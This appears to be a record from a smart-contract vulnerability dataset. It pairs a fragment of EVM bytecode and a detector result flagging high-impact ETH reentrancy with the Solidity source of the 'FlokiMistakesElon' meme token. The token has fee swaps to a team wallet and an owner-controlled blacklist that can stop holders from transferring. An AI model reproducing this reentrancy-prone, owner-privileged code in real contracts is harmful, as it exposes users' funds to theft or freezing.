0460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161185491906136f6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c890613696565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611941576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193890613536565b60405180910390fd5b60008111611984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197b90613676565b60405180910390fd5b61198c610ead565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119fa57506119ca610ead565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f3457601660149054906101000a900460ff16611a8957611a1b610ead565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7f90613556565b60405180910390fd5b5b601754811115611ace576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac590613596565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b725750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba8906135f6565b60405180910390fd5b6008544311158015611c105750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c6a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d00576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611dad5760185481611d6284610c64565b611d6c919061382c565b10611dac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da3906136b6565b60405180910390fd5b5b6000611db830610c64565b9050600060195482101590506017548210611dd35760175491505b808015611ded5750601660159054906101000a900460ff16155b8015611e475750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5d575060168054906101000a900460ff165b8015611eb35750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f095750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f3157611f1782612402565b60004790506000811115611f2f57611f2e47612299565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fdb5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061208e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561208d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561209c5760009050612223565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121475750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561215f57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561220a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561222257600b54600d81905550600c54600e819055505b5b61222f848484846126fc565b50505050565b600083831115829061227d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122749190613514565b60405180910390fd5b506000838561228c919061390d565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e960028461272990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612314573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236560028461272990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612390573d6000803e3d6000fd5b5050565b60006006548211156123db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d290613576565b60405180910390fd5b60006123e5612773565b90506123fa818461272990919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612460577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561248e5781602001602082028036833780820191505090505b50905030816000815181106124cc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561256e57600080fd5b505afa158015612582573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a69190612f83565b816001815181106125e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264730601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611696565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126ab959493929190613711565b600060405180830381600087803b1580156126c557600080fd5b505af11580156126d9573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b8061270a5761270961279e565b5b6127158484846127e1565b80612723576127226129ac565b5b50505050565b600061276b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129c0565b905092915050565b6000806000612780612a23565b91509150612797818361272990919063ffffffff16565b9250505090565b6000600d541480156127b257506000600e54145b156127bc576127df565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127f387612a85565b95509550955095509550955061285186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aed90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293281612b95565b61293c8483612c52565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299991906136f6565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fe9190613514565b60405180910390fd5b5060008385612a169190613882565b9050809150509392505050565b600080600060065490506000683635c9adc5dea000009050612a59683635c9adc5dea0000060065461272990919063ffffffff16565b821015612a7857600654683635c9adc5dea00000935093505050612a81565b81819350935050505b9091565b6000806000806000806000806000612aa28a600d54600e54612c8c565b9250925092506000612ab2612773565b90506000806000612ac58e878787612d22565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612235565b905092915050565b6000808284612b46919061382c565b905083811015612b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8290613616565b60405180910390fd5b8091505092915050565b6000612b9f612773565b90506000612bb68284612dab90919063ffffffff16565b9050612c0a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c6782600654612aed90919063ffffffff16565b600681905550612c8281600754612b3790919063ffffffff16565b6007819055505050565b600080600080612cb86064612caa888a612dab90919063ffffffff16565b61272990919063ffffffff16565b90506000612ce26064612cd4888b612dab90919063ffffffff16565b61272990919063ffffffff16565b90506000612d0b82612cfd858c612aed90919063ffffffff16565b612aed90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d3b8589612dab90919063ffffffff16565b90506000612d528689612dab90919063ffffffff16565b90506000612d698789612dab90919063ffffffff16565b90506000612d9282612d848587612aed90919063ffffffff16565b612aed90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612dbe5760009050612e20565b60008284612dcc91906138b3565b9050828482612ddb9190613882565b14612e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1290613636565b60405180910390fd5b809150505b92915050565b6000612e39612e34846137ab565b613786565b90508083825260208201905082856020860282011115612e5857600080fd5b60005b85811015612e885781612e6e8882612e92565b845260208401935060208301925050600181019050612e5b565b5050509392505050565b600081359050612ea181613ef7565b92915050565b600081519050612eb681613ef7565b92915050565b60008083601f840112612ece57600080fd5b8235905067ffffffffffffffff811115612ee757600080fd5b602083019150836020820283011115612eff57600080fd5b9250929050565b600082601f830112612f1757600080fd5b8135612f27848260208601612e26565b91505092915050565b600081359050612f3f81613f0e565b92915050565b600081359050612f5481613f25565b92915050565b600060208284031215612f6c57600080fd5b6000612f7a84828501612e92565b91505092915050565b600060208284031215612f9557600080fd5b6000612fa384828501612ea7565b91505092915050565b60008060408385031215612fbf57600080fd5b6000612fcd85828601612e92565b9250506020612fde85828601612e92565b9150509250929050565b600080600060608486031215612ffd57600080fd5b600061300b86828701612e92565b935050602061301c86828701612e92565b925050604061302d86828701612f45565b9150509250925092565b6000806040838503121561304a57600080fd5b600061305885828601612e92565b925050602061306985828601612f45565b9150509250929050565b60008060006040848603121561308857600080fd5b600084013567ffffffffffffffff8111156130a257600080fd5b6130ae86828701612ebc565b935093505060206130c186828701612f30565b9150509250925092565b6000602082840312156130dd57600080fd5b600082013567ffffffffffffffff8111156130f757600080fd5b61310384828501612f06565b91505092915050565b60006020828403121561311e57600080fd5b600061312c84828501612f30565b91505092915050565b60006020828403121561314757600080fd5b600061315584828501612f45565b91505092915050565b6000806000806080858703121561317457600080fd5b600061318287828801612f45565b945050602061319387828801612f45565b93505060406131a487828801612f45565b92505060606131b587828801612f45565b91505092959194509250565b60006131cd83836131d9565b60208301905092915050565b6131e281613941565b82525050565b6131f181613941565b82525050565b6000613202826137e7565b61320c818561380a565b9350613217836137d7565b8060005b8381101561324857815161322f88826131c1565b975061323a836137fd565b92505060018101905061321b565b5085935050505092915050565b61325e81613953565b82525050565b61326d81613996565b82525050565b61327c816139ba565b82525050565b600061328d826137f2565b613297818561381b565b93506132a78185602086016139cc565b6132b081613b06565b840191505092915050565b60006132c860238361381b565b91506132d382613b17565b604082019050919050565b60006132eb603f8361381b565b91506132f682613b66565b604082019050919050565b600061330e602a8361381b565b915061331982613bb5565b604082019050919050565b6000613331601c8361381b565b915061333c82613c04565b602082019050919050565b600061335460268361381b565b915061335f82613c2d565b604082019050919050565b600061337760228361381b565b915061338282613c7c565b604082019050919050565b600061339a60238361381b565b91506133a582613ccb565b604082019050919050565b60006133bd601b8361381b565b91506133c882613d1a565b602082019050919050565b60006133e060218361381b565b91506133eb82613d43565b604082019050919050565b600061340360208361381b565b915061340e82613d92565b602082019050919050565b600061342660298361381b565b915061343182613dbb565b604082019050919050565b600061344960258361381b565b915061345482613e0a565b604082019050919050565b600061346c60238361381b565b915061347782613e59565b604082019050919050565b600061348f60248361381b565b915061349a82613ea8565b604082019050919050565b6134ae8161397f565b82525050565b6134bd81613989565b82525050565b60006020820190506134d860008301846131e8565b92915050565b60006020820190506134f36000830184613255565b92915050565b600060208201905061350e6000830184613264565b92915050565b6000602082019050818103600083015261352e8184613282565b905092915050565b6000602082019050818103600083015261354f816132bb565b9050919050565b6000602082019050818103600083015261356f816132de565b9050919050565b6000602082019050818103600083015261358f81613301565b9050919050565b600060208201905081810360008301526135af81613324565b9050919050565b600060208201905081810360008301526135cf81613347565b9050919050565b600060208201905081810360008301526135ef8161336a565b9050919050565b6000602082019050818103600083015261360f8161338d565b9050919050565b6000602082019050818103600083015261362f816133b0565b9050919050565b6000602082019050818103600083015261364f816133d3565b9050919050565b6000602082019050818103600083015261366f816133f6565b9050919050565b6000602082019050818103600083015261368f81613419565b9050919050565b600060208201905081810360008301526136af8161343c565b9050919050565b600060208201905081810360008301526136cf8161345f565b9050919050565b600060208201905081810360008301526136ef81613482565b9050919050565b600060208201905061370b60008301846134a5565b92915050565b600060a08201905061372660008301886134a5565b6137336020830187613273565b818103604083015261374581866131f7565b905061375460608301856131e8565b61376160808301846134a5565b9695505050505050565b600060208201905061378060008301846134b4565b92915050565b60006137906137a1565b905061379c82826139ff565b919050565b6000604051905090565b600067ffffffffffffffff8211156137c6576137c5613ad7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138378261397f565b91506138428361397f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561387757613876613a79565b5b828201905092915050565b600061388d8261397f565b91506138988361397f565b9250826138a8576138a7613aa8565b5b828204905092915050565b60006138be8261397f565b91506138c98361397f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561390257613901613a79565b5b828202905092915050565b60006139188261397f565b91506139238361397f565b92508282101561393657613935613a79565b5b828203905092915050565b600061394c8261395f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139a1826139a8565b9050919050565b60006139b38261395f565b9050919050565b60006139c58261397f565b9050919050565b60005b838110156139ea5780820151818401526020810190506139cf565b838111156139f9576000848401525b50505050565b613a0882613b06565b810181811067ffffffffffffffff82111715613a2757613a26613ad7565b5b80604052505050565b6000613a3b8261397f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a6e57613a6d613a79565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f0081613941565b8114613f0b57600080fd5b50565b613f1781613953565b8114613f2257600080fd5b50565b613f2e8161397f565b8114613f3957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122006fb69e792ac74c7fa1f6b3720fb85c78a731d27869aa43515fc34e0c969d93364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,382 |
0x6f7ff5001621fe6e727e8d80d18a2d28972d0438
|
/**
*Submitted for verification at Etherscan.io on 2021-10-19
*/
/*
FlokiMistakes is going to launch in the Uniswap at october 19.
This is fair launch and going to launch without any presale.
tg: https://t.me/FlokiMistakes
All crypto babies will become a FlokiMistakes in here.
Let's enjoy our launch!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FlokiMistakesElon is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Floki MistakesElon";
string private constant _symbol = " FME ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 4;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_teamFee = 4;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 5);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
